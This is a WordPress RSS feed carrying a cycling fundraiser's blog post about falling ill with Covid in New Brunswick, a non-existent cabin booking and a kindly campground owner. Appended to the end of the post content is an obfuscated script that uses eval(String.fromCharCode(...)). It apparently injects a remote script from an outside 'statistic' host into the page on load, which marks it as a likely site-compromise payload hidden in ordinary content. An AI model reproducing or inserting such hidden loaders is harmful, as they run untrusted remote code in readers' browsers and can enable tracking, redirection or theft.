<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>update &#8211; DemocraCycle.ca</title>
	<atom:link href="https://democracycle.ca/tag/update/feed/" rel="self" type="application/rss+xml" />
	<link>https://democracycle.ca</link>
	<description>Cycling To Fund Canadian Democracy</description>
	<lastBuildDate>Thu, 13 Oct 2022 20:00:30 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.1</generator>

<image>
	<url>https://democracycle.ca/wp-content/uploads/2022/06/cropped-cropped-demclca-round-clean-flag-mit-bike-clear-surrounding-cropped-leaf-up-32x32.png</url>
	<title>update &#8211; DemocraCycle.ca</title>
	<link>https://democracycle.ca</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>July 9 &#8211; 11 2022 LESS SICK with Covid, STILL STRAGGLING in New Brunswick Part 2 of 2</title>
		<link>https://democracycle.ca/less-sick-still-straggling-in-new-brunswick-part-2-of-2/</link>
					<comments>https://democracycle.ca/less-sick-still-straggling-in-new-brunswick-part-2-of-2/#respond</comments>
		
		<dc:creator><![CDATA[mswartz]]></dc:creator>
		<pubDate>Wed, 13 Jul 2022 15:04:08 +0000</pubDate>
				<category><![CDATA[Cycling]]></category>
		<category><![CDATA[Scenic]]></category>
		<category><![CDATA[Stayovers]]></category>
		<category><![CDATA[covid]]></category>
		<category><![CDATA[trip]]></category>
		<category><![CDATA[update]]></category>
		<guid isPermaLink="false">https://democracycle.ca/?p=2991</guid>

					<description><![CDATA[LESS SICK, STILL STRAGGLING: Part 2 of 2 Back to July 9. So there I was having reached the campgrounds I&#8217;d booked, this was around 4:30 pm near Costigan, NB, ill (and not yet aware I had Covid) but able to ride there 20km (after a cab ride), the last 8 of which were mostly [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="" dir="auto">
<div id="jsc_c_j6" class="ecm0bbzt hv4rvrfc ihqw7lf3 dati1w0a" data-ad-comet-preview="message" data-ad-preview="message">
<div class="j83agx80 cbu4d94t ew0dbk1b irj2b8pg">
<div class="qzhwtbm6 knvmm38d">
<div class="kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x c1et5uql ii04i59q">
<div dir="auto">LESS SICK, STILL STRAGGLING: Part 2 of 2</div>
<div dir="auto">
<p><img fetchpriority="high" decoding="async" class="alignnone size-medium wp-image-3323" src="https://democracycle.ca/wp-content/uploads/1665/05/IMG_3063-300x225.jpg" alt="" width="300" height="225" srcset="https://democracycle.ca/wp-content/uploads/1665/05/IMG_3063-300x225.jpg 300w, https://democracycle.ca/wp-content/uploads/1665/05/IMG_3063-1024x768.jpg 1024w, https://democracycle.ca/wp-content/uploads/1665/05/IMG_3063-768x576.jpg 768w, https://democracycle.ca/wp-content/uploads/1665/05/IMG_3063-1536x1152.jpg 1536w, https://democracycle.ca/wp-content/uploads/1665/05/IMG_3063-2048x1536.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" /><img decoding="async" class="alignnone size-medium wp-image-3123" src="https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-300x300.jpg" alt="" width="300" height="300" srcset="https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-300x300.jpg 300w, https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-1024x1024.jpg 1024w, https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-150x150.jpg 150w, https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-768x768.jpg 768w, https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-1536x1536.jpg 1536w, https://democracycle.ca/wp-content/uploads/1665/05/68054477209__76946CFF-8F4A-48AE-B93C-164D2FDC3563-2048x2048.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<div dir="auto"></div>
</div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">Back to July 9. So there I was having reached the campgrounds I&#8217;d booked, this was around 4:30 pm near Costigan, NB, ill (and not yet aware I had Covid) but able to ride there 20km (after a cab ride), the last 8 of which were mostly fatiguingly uphill, draining me bigly.</div>
<p><img decoding="async" class="alignnone size-medium wp-image-3692" src="https://democracycle.ca/wp-content/uploads/2022/07/293065163_10160332459729439_3626948206693484902_n-300x225.jpg" alt="" width="300" height="225" srcset="https://democracycle.ca/wp-content/uploads/2022/07/293065163_10160332459729439_3626948206693484902_n-300x225.jpg 300w, https://democracycle.ca/wp-content/uploads/2022/07/293065163_10160332459729439_3626948206693484902_n-1024x768.jpg 1024w, https://democracycle.ca/wp-content/uploads/2022/07/293065163_10160332459729439_3626948206693484902_n-768x576.jpg 768w, https://democracycle.ca/wp-content/uploads/2022/07/293065163_10160332459729439_3626948206693484902_n-1536x1152.jpg 1536w, https://democracycle.ca/wp-content/uploads/2022/07/293065163_10160332459729439_3626948206693484902_n.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" /><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-3689" src="https://democracycle.ca/wp-content/uploads/2022/07/292820689_10160332456774439_207910707852935764_n-225x300.jpg" alt="" width="225" height="300" srcset="https://democracycle.ca/wp-content/uploads/2022/07/292820689_10160332456774439_207910707852935764_n-225x300.jpg 225w, https://democracycle.ca/wp-content/uploads/2022/07/292820689_10160332456774439_207910707852935764_n-770x1024.jpg 770w, https://democracycle.ca/wp-content/uploads/2022/07/292820689_10160332456774439_207910707852935764_n-768x1022.jpg 768w, https://democracycle.ca/wp-content/uploads/2022/07/292820689_10160332456774439_207910707852935764_n-1154x1536.jpg 1154w, https://democracycle.ca/wp-content/uploads/2022/07/292820689_10160332456774439_207910707852935764_n.jpg 1539w" sizes="(max-width: 225px) 100vw, 225px" /></p>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto"></div>
<div dir="auto">The owner welcomes me. A site for sore eyes. All I want to do is lie down and sleep a few hours.</div>
<div dir="auto"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-3693" src="https://democracycle.ca/wp-content/uploads/2022/07/293065192_10160332459789439_1184717159993831332_n-300x225.jpg" alt="" width="300" height="225" srcset="https://democracycle.ca/wp-content/uploads/2022/07/293065192_10160332459789439_1184717159993831332_n-300x225.jpg 300w, https://democracycle.ca/wp-content/uploads/2022/07/293065192_10160332459789439_1184717159993831332_n-1024x768.jpg 1024w, https://democracycle.ca/wp-content/uploads/2022/07/293065192_10160332459789439_1184717159993831332_n-768x576.jpg 768w, https://democracycle.ca/wp-content/uploads/2022/07/293065192_10160332459789439_1184717159993831332_n-1536x1152.jpg 1536w, https://democracycle.ca/wp-content/uploads/2022/07/293065192_10160332459789439_1184717159993831332_n.jpg 2048w" sizes="(max-width: 300px) 100vw, 300px" /></div>
<div dir="auto">&#8220;How can I help you, sir?&#8221; he asks.</div>
<div dir="auto">&#8220;I&#8217;ve booked two nights here, in a cabin.&#8221;</div>
<div dir="auto">He eyes me funny. &#8220;Umm, you sure?&#8221;</div>
<div dir="auto">I pull out my reservation info. &#8220;Yeah, says so right here.&#8221;</div>
<div dir="auto">He shuffles some papers, looks at me grimly, and says &#8220;Thing is, we don&#8217;t have any cabins here.&#8221;</div>
<div dir="auto"></div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">Turns out the person who booked me was a sweet octegenarian gal who not only assured me I&#8217;d have a bed for two nights, but also committed that same imaginary room to someone else!Enter the kindness of strangers. Chris, the owner, called a motel in town and negotiated a special rate for me. Then he gathered his truck, we plopped my bike and packs in the back, and he motored me a good 23km right to the place. Now that&#8217;s customer service in the face of a misunderstanding! Thanks, Chris!</div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto"></div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">The motel was a small saga in itself. That special rate was for a room in the basement, where there was no heat at the time (it was about to get fixed). It was dark and cold but I buried myself under the blanket and caught two hours of exhausted sleep. Upon wakening it was obvious if I stayed down there I&#8217;d get sicker. The motel did have a small but comfortable room above ground, more expensive but they did give me a pricing break. Been here now for four straight days!</div>
<div dir="auto"></div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">The past two mornings I had to skip the included breakfast, due to involuntarily sleeping well beyond serving time. I had ordered in a large batch of food from Pizza Delight on the second night (health food be damned!) and ate that instead once my appetite returned.</div>
<div dir="auto"></div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">This morning one of the managers, a very nice French Canadian woman, brought me a hot brekkie to my room when I told her I hadn&#8217;t been feeling well. Mind you she now looks at me like I radiate the plague. Also I cancelled a free stay in Edmunston with a healthcare worker. I&#8217;m generous, but not in terms of sharing my Covid contagion!</div>
<div dir="auto"></div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">Anyway fast forward to this morning. Am staying at same motel one more night. My symptoms are already receding, thanks to four vaccinations before leaving on this trip. Will likely be extra tired for next week or so. Hence I&#8217;m hunkered down in my room for the day. Keeping my distance from humans. Catching up on posting. Striving to fundraise further for <a class="oajrlxb2 g5ia77u1 qu0x051f esr5mh6w e9989ue4 r7d6kgcz rq0escxv nhd2j8a9 nc684nl6 p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso i1ao9s8h esuyzwwr f1sip0of lzcic4wl gpro0wi8 q66pz984 b1v8xokw" tabindex="0" role="link" href="https://www.facebook.com/themosaicinstitute/?__cft__[0]=AZUG4pGyJYFAqJIPOgeUGIugd41dz7xXLdBR-P_P2fZ8Pf5af_JWnTy-0gEmll6zRzOjbDhqwdUzV_YYYDsuBPUDkrcykcv-aqrjS93hrs6X7-H1gyr6mVSsQVWvOl2F7xJEDSIUfbD2kqpc8vF_Rgl2Vqkm6MvO_NwK10QUaByKsdnXH0PaXQI6f74cxU46pWM&amp;__tn__=kK-R"><span class="nc684nl6">The Mosaic Institute</span></a> and <a class="oajrlxb2 g5ia77u1 qu0x051f esr5mh6w e9989ue4 r7d6kgcz rq0escxv nhd2j8a9 nc684nl6 p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso i1ao9s8h esuyzwwr f1sip0of lzcic4wl gpro0wi8 q66pz984 b1v8xokw" tabindex="0" role="link" href="https://www.facebook.com/antihateca/?__cft__[0]=AZUG4pGyJYFAqJIPOgeUGIugd41dz7xXLdBR-P_P2fZ8Pf5af_JWnTy-0gEmll6zRzOjbDhqwdUzV_YYYDsuBPUDkrcykcv-aqrjS93hrs6X7-H1gyr6mVSsQVWvOl2F7xJEDSIUfbD2kqpc8vF_Rgl2Vqkm6MvO_NwK10QUaByKsdnXH0PaXQI6f74cxU46pWM&amp;__tn__=kK-R"><span class="nc684nl6">Canadian Anti-Hate Network</span></a>. You can help hugely by donating directly to them. Support dismantling prejudice and anti-hate at <a class="oajrlxb2 g5ia77u1 qu0x051f esr5mh6w e9989ue4 r7d6kgcz rq0escxv nhd2j8a9 nc684nl6 p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso i1ao9s8h esuyzwwr f1sip0of lzcic4wl gpro0wi8 py34i1dx" tabindex="0" role="link" href="https://l.facebook.com/l.php?u=https%3A%2F%2Fdemocracycle.ca%2F%3Ffbclid%3DIwAR24BaReNkRIOlGO36vLtyeitF1BUuBJgzhv8LeIbVLk8hACQtpQEpEHQuw%23donate-now&amp;h=AT19L5qkEdziwstN5x7PiWXoqhqJkmw6UFd2_eaRdI0X7rUIE40DheKd3Q5mSnCNJgqlmkdh4VLNgy995N2_yy3XaHl76dQWiHdWzT6ZaYd0j6pXdGlyFl1JnxSU0JNBog&amp;__tn__=-UK-R&amp;c[0]=AT2lcvbvsEXlrEO-tShuJxqkwVdSuxgoAVi-TZTNcC-wlIQcfnvr6Ng1z1NlrCpz9o3pquhclrmpE9zT4jNo4IisvEQxd7hdF2GvprHAO47U3bQaZd2E4ib34IXYQWAEDXl9ehzQPXzv_0n1-gdjT2_aEnbRMDwMHwmKKbPKcqkua_ymicz3KQLOYrfKD0YihJaFgWXFshU" target="_blank" rel="nofollow noopener">https://democracycle.ca/#donate-now</a></div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto">The journey continues. Please spread the word if you like my chronicles.</div>
</div>
<div class="cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q">
<div dir="auto"><a class="oajrlxb2 g5ia77u1 qu0x051f esr5mh6w e9989ue4 r7d6kgcz rq0escxv nhd2j8a9 nc684nl6 p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso i1ao9s8h esuyzwwr f1sip0of lzcic4wl gpro0wi8 q66pz984 b1v8xokw" tabindex="0" role="link" href="https://www.facebook.com/hashtag/covid19?__eep__=6&amp;__cft__[0]=AZUG4pGyJYFAqJIPOgeUGIugd41dz7xXLdBR-P_P2fZ8Pf5af_JWnTy-0gEmll6zRzOjbDhqwdUzV_YYYDsuBPUDkrcykcv-aqrjS93hrs6X7-H1gyr6mVSsQVWvOl2F7xJEDSIUfbD2kqpc8vF_Rgl2Vqkm6MvO_NwK10QUaByKsdnXH0PaXQI6f74cxU46pWM&amp;__tn__=*NK-R">#COVID19</a> <a class="oajrlxb2 g5ia77u1 qu0x051f esr5mh6w e9989ue4 r7d6kgcz rq0escxv nhd2j8a9 nc684nl6 p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso i1ao9s8h esuyzwwr f1sip0of lzcic4wl gpro0wi8 q66pz984 b1v8xokw" tabindex="0" role="link" href="https://www.facebook.com/hashtag/vaccination2022?__eep__=6&amp;__cft__[0]=AZUG4pGyJYFAqJIPOgeUGIugd41dz7xXLdBR-P_P2fZ8Pf5af_JWnTy-0gEmll6zRzOjbDhqwdUzV_YYYDsuBPUDkrcykcv-aqrjS93hrs6X7-H1gyr6mVSsQVWvOl2F7xJEDSIUfbD2kqpc8vF_Rgl2Vqkm6MvO_NwK10QUaByKsdnXH0PaXQI6f74cxU46pWM&amp;__tn__=*NK-R">#vaccination2022</a> <a class="oajrlxb2 g5ia77u1 qu0x051f esr5mh6w e9989ue4 r7d6kgcz rq0escxv nhd2j8a9 nc684nl6 p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso i1ao9s8h esuyzwwr f1sip0of lzcic4wl gpro0wi8 q66pz984 b1v8xokw" tabindex="0" role="link" href="https://www.facebook.com/hashtag/newbrunswick?__eep__=6&amp;__cft__[0]=AZUG4pGyJYFAqJIPOgeUGIugd41dz7xXLdBR-P_P2fZ8Pf5af_JWnTy-0gEmll6zRzOjbDhqwdUzV_YYYDsuBPUDkrcykcv-aqrjS93hrs6X7-H1gyr6mVSsQVWvOl2F7xJEDSIUfbD2kqpc8vF_Rgl2Vqkm6MvO_NwK10QUaByKsdnXH0PaXQI6f74cxU46pWM&amp;__tn__=*NK-R">#newbrunswick</a></div>
</div>
</div>
</div>
</div>
</div>
<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
]]></content:encoded>
					
					<wfw:commentRss>https://democracycle.ca/less-sick-still-straggling-in-new-brunswick-part-2-of-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
